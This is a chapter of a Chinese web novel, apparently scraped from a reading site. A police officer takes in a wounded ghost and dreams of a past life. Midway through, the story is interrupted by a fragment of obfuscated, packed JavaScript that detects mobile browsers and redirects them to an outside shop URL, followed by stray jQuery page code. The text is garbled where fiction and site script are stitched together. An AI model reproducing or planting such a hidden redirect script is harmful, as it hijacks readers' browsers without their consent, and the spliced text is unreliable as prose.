凉城公安局。
午休刚过,接警大厅就来了个疯子——虽然外表不像。
一个西装革履的眼镜大叔被押进来,两个民警把他往审问室里面带。
大叔面红耳赤,气得不轻,比死猪还难拖。他几乎是躺在地上的,两条腿绷得笔直,朝着门外破口大骂:
“江慢凡你个狗东西,我就说你怎么会有枪!!”
“我拿你当真兄弟,我背着你过桥,还帮你砍了三个疯鬼子,你就这样报答我!?”
“你下真地狱去吧你,你这个插兄弟两刀的混蛋!”
眼镜大叔的骂声渐行渐远。
进了审问室,民警把门关上。
大厅里安静了。
民警们很懵逼。
他们安抚好更懵逼的人民群众,就问正悠悠哉哉从门口走进来的江慢凡:“江队,这是怎么了,你在外面动枪了?”
江慢凡懒洋洋地回:“我不想活了?”
民警想想也是,动枪都要用执法记录仪记下来的,没出警的情况下不能动枪。
“那这是谁?骂得真脏。”
“一疯子。”
答完,江慢凡就走了。
他晃悠着上身,歪歪栽栽的,像片落叶。
有新来的小民警不认识他,等他走远了,就凑过来问:“那是谁?”
老民警答:“哦,你还不认识。那是江队,江慢凡,原来是特警队的队长。”
“两年前,有个恐怖团伙袭击案,谈判失败了。他为了救人,冲进去和四五个歹徒肉搏,身上被捅了好几刀,最后扑到一姑娘身上,心口被插了一刀。”
“伤口离心脏只有两厘米。”
“在医院里昏了半年才醒过来,只差那么一点,就要拥抱新生了。”民警说,“局里给他颁了好多奖。最近他才复工,从特警队调到机巡队做队长去了。”
民警嘱咐道,“以后你看见他,要恭敬一点。”
小民警点点头。
-
江慢凡换上警服,带着一位辅警,出门上班。
机巡队的工作内容极其简单,每天开着警车在城市里四处巡逻,看见冲突及时处理。
江慢凡才出来巡逻五分钟,就被刑警叫回去了。
审问室里,刑警队的同事表情复杂。
他还没开口,李海就拍桌子蹦了起来,指着江慢凡大叫:“我没罪,你们这个队长也不清白!他都下地狱了,他肯定贪污了!”
江慢凡早料到会这样,笑了声说:“那查呗。”
刑警怒骂李海:“什么地狱不地狱的?你怕不是个疯子吧!”
他转头又对江慢凡道:“江队,你别理他,我们都没信。”
“不用你信不信,他怀疑我那就查,我又不怕。”江慢凡说,“你们查出他什么没有?”
“没有,他没犯什么事。”刑警说,“清清白白,没有前科,也没有别人的报警记录。”
“嚯,”江慢凡意味深长地拉着语气,“藏挺深啊,兄弟。”
李海翻了个白眼,气愤地坐了回去。
江慢凡转身出了审问室,正好,迎面走来一位特警,是他曾经的下属。
也是昨晚和他打电话的人。
下属拉着他,往旁边走了几步。
“昨晚你给的那十七个人的名单,我都查了,里面十五个人都确定了,疯的疯死的死。”
“刚刚这个叫李海的没事,还有一个叫陈文博的。”下属说,“人太多了,查不到。”
江慢凡:“……是挺大众的,这名字。”
“是啊,全国五十万多呢,我给你筛了一遍,光广城省内的高中学生,叫陈文博的还有三万多。”下属苦着脸,“这咋找啊,队长。”
江慢凡抹了把脸,挥挥手:“算了算了,你不用管了。”
下属如蒙大赦,跟他点了个头,走了。
走了几步,就有一个长得很帅的刑警和他擦肩而过。刑警握住审问室的门把,正要进去时,无意间一抬头,和江慢凡四目相对。
那人不动了,愣在原地,像突然看见一个死人复活似的,瞪着眼睛看着他。
江慢凡眨巴两下眼睛,挺无辜,很茫然。
他忽然觉得对方确实有点眼熟——皮肤很白,像长年累月在风雪里过活。脸型修长,剑眉星目,看起来凶神恶煞的。
江慢凡直接问他:“哥们,咱俩见过?”
那人欲言又止,表情有些复杂。
就在此时,李海又在审问室里撕心裂肺地大叫:“江慢凡!你爹死了!!”
江慢凡:“……”
站在门口的刑警:“……”
“你下把就进铁树地狱!你死里边吧你!!”
刑警突然笑了,那种很难憋笑似的好笑。
“咋,你不信?”江慢凡说,“行了,我知道你也不信,里面是个疯……”
“你把他送进来,也不会管用。”刑警说。
“啊?”
刑警朝里面抬抬下巴:“他自己愿意反省是一回事,你逼他伏罪是另一回事。”
“不是自己诚心悔过,单纯是害怕了或者被逼着才来自首,那该进还得进。”刑警说,“哪怕他进监狱都没用。你本心为队友好,这很好,可惜你没懂规则。”
刑警说完,打开门进去了。
江慢凡站在外面懵逼了阵,才反应过来什么。他冲进审问室里,抓住这位刑警,一把将他扯了出来。
他把人拉到偏僻的墙角里去,心急如焚:“你知道什么?”
“你一定知道什么,你也是!?”
刑警面无表情地看着他。
他的剑眉星目冷得像冰,静静地说了句:“不会很久了。”
-
傍晚的时候,江慢凡下班了。
他心烦意乱地开着车,往家里走。脑子里乱成一团,江慢凡感觉自己像被关在雾里,根本不知道到底怎么回事。这种一点线索都摸不到的感觉烂透了,江慢凡烦得想一头撞死。
开到一家便利店面前,江慢凡下车,进店,买了两个饭团一碗南瓜粥。拎着袋子走出店面,一股气息忽然从旁边传了过来。
江慢凡脚步一顿,往旁边看去。
便利店旁,是个逼仄的小巷,很窄,看不清是什么。
江慢凡站在那里,突然一动不能动。像被钉子钉住了,他魔怔地看着那条小巷,有种必须要去看看的冲动。
不去看就不能走。
不知怎么,就来了一股这样的劲儿。
他走了过去。
忽然有血味。
江慢凡走到巷子口。
一道白色的瘦长身影,靠着墙,坐在巷子里。
他的脑袋深深低着,白发白衣都染了血。左手垂在地上,右手抓着一把弯刀,弯刀扎在脖颈里,扎得很深。
血还在往下淌,蜿蜒着,从他脖子上流下来。
啪嗒一声,江慢凡手上的袋子掉了。
蝉鸣声刺耳。
天彻底黑了。
江慢凡蹲下去,伸出手,试探地推推大夜弥天:“哥?”
大夜弥天没反应。
他似乎没有意识了,血滴滴答答地往下落。
江慢凡蹲在原地,怔了片刻,伸手过去,把他背了起来。
开车回到家里,江慢凡吃力地背着大夜弥天,上了楼,踉踉跄跄地把他放在了沙发上。
“我操了,你怎么那么重?你得三百斤了吧!我特么上学的时候负重跑都没……哥?哥们?”
江慢凡又推推他,大夜弥天还是没反应。
他还在流血,血落在沙发上。江慢凡有点心疼,他前天刚洗的沙发罩。
他伸手探探大夜弥天的鼻息。
卧槽,没气了!
江慢凡慌了,抓住对方一通乱晃:“哥啊!醒醒!!你怎么——诶不对,你好像本来就是死的。”
大夜弥天还是没声音。
江慢凡有点尴尬,把他放好,让他躺在床上。
再然后,江慢凡就不知道该怎么办了。鬼在流血这正常吗?该不该打120?120来了之后能干啥?
好像没啥卵用,没准还得把江慢凡送去精神病院。
江慢凡在客厅绕着茶几转了几圈,最后从屋里拿了哥药箱出来。
大夜弥天伤口不多,只有脖子上那一道致命伤。江慢凡给他止血包好,忙完了后,就一屁股坐在了客厅的地毯上。
夜晚,万籁俱寂,江慢凡盯着客厅的小夜灯发呆。
大夜弥天在他身后昏迷,不知道是不是彻底死了,鬼都当不成了,总之一点儿声音都没有。
空气太安静了,莫名有点悲伤。
-
黑暗。
无边的黑暗。
要把耳膜刺破一般的尖叫,胡喊,刀枪乱碰声,火烧声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652976|206716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>江慢凡眼皮动了动,没能醒来。又做梦了,他知道。
他又梦见京城,大祭祀台,还是黑发红衣的大夜弥天走上了台,手里拿起一把弯刀。
突然,一切变了,一切开始逆流。像倒带一样,所有的一切向前流走,向前倒去。
火灭了,京城天亮,一路倒退。他看见战火消失,京城安宁,冬去春来,父母坐在高堂上,沈怜山拜别了家里。城门打开,他离京打仗,边关叛乱,从青年到少年。
一路戎马,一路倒退,记忆断片像洪水一样迅速,越来越快,让人眼花缭乱。终于,一声沉闷、巨大的钟响,像是寺庙里神圣的佛钟,将他离体的魂儿拽回了身体里。
混乱的一切戛然而止,周围渐渐地安静了。
沈怜山眨巴两下眼。他伸出手,却是一个很小的小肉手。他张嘴,喉咙里却挤出一阵咿咿呀呀的声音。
“老侯爷不必担心。”
有人在说话,声音清冽空灵,“沈家在朝中为陛下分忧无数,数代武侯,天上是有战神神仙护着的。”
“只要日后一直如此,能为陛下做个纯臣,便能保百代昌盛。”
“这位小公子,也能一生富贵平稳,金枝玉叶地过一辈子。”
有个年长些的声音感激道:“多谢圣子,我沈家自然是代代纯臣!”
清冽的声音笑着说:“只要依当今陛下之命,绝无什么大碍。”
语毕,他又意味深长地道,“这话您或许不爱听,但老侯爷性情敦厚,想来不会怪罪我多嘴,我也就嘱咐您两句。往后万万不可结党营私,定致家族毁灭。”
年老的声音恭敬道:“圣子哪里的话,您观天命算天运,说的话可谓是金玉良言,字字如天,在下感激不尽。快,这位嬷嬷,请圣子看看我家公子。”
视野里终于出现一个人,是个慈祥和蔼的婆子。
她笑得眼睛弯弯,把沈怜山抱了起来。
“沈侯家的小公子真是招人喜欢,长得俊朗。”她说,“这眉眼呐,一看便是随了郡主娘娘了,可真是漂亮。”
“圣子,您看看。”
婆子走了两步,把他送到另一个人怀里。
江慢凡看见此人乌黑的头发。外头阳光照进来,太刺眼,江慢凡看不清他的眉眼。
大夜弥天。
和现在很不一样,江慢凡也看不出什么,但他就是知道,这个人是大夜弥天。
大夜弥天动作僵硬,抱着他,一时不太敢动。
沈怜山控制不住地笑了起来,他伸出小手,在空气里挥了两下。
圣子僵了一会,也向他伸出手。
沈怜山小小的手抓住他一根细长的手指,又咿咿呀呀地笑,咯咯地傻乐。
婆子说:“哎呀,小公子喜欢圣子呢。”
圣子没说话,轻轻地也笑了。
闹钟的铃声突然响了。
江慢凡一激灵,从梦里惊醒。
他把手机的闹钟按掉,顶着一头鸟窝,坐了起来。浑身腰酸背痛,他看了眼四周,是客厅。
哦对,昨晚太困了,直接在客厅里睡了。
江慢凡回头。
大夜弥天躺在沙发上,一动没动,依然没有气息。
操,愁人啊。
江慢凡扶着沙发站起来,去厨房里接了杯水。
喝了水,江慢凡又回来了。他看着大夜弥天,想起刚才的梦。
江慢凡鬼使神差地坐下,一脑袋拱进大夜弥天怀里,把他的两只手搂在自己身上。
……
……怎么有点爽。
几秒后,江慢凡蹭地站起来了,去洗了把脸。
他脸有点红,突然还有些不敢看大夜弥天了。
收拾穿戴好,江慢凡在玄关穿鞋,准备出门上班。
他身后,沙发上,大夜弥天忽然缓缓地、笔直地坐了起来。
江慢凡一无所觉,坐在玄关处穿他的鞋,在很用力地系鞋带。
大夜弥天听到声音,慢慢地转过脖子,看向门口。
他站起来,骤然在空气里消失,下一秒,瞬移到了江慢凡身后。
“沈怜山。”他说。
江慢凡正在想李海的事情。
他回头,淡淡地对大夜弥天点了下头,就继续穿鞋。
三秒后。
江慢凡蹭地又把脑袋转回去,看见大夜弥天惨白的一张脸。
“……我操啊啊啊啊!!!”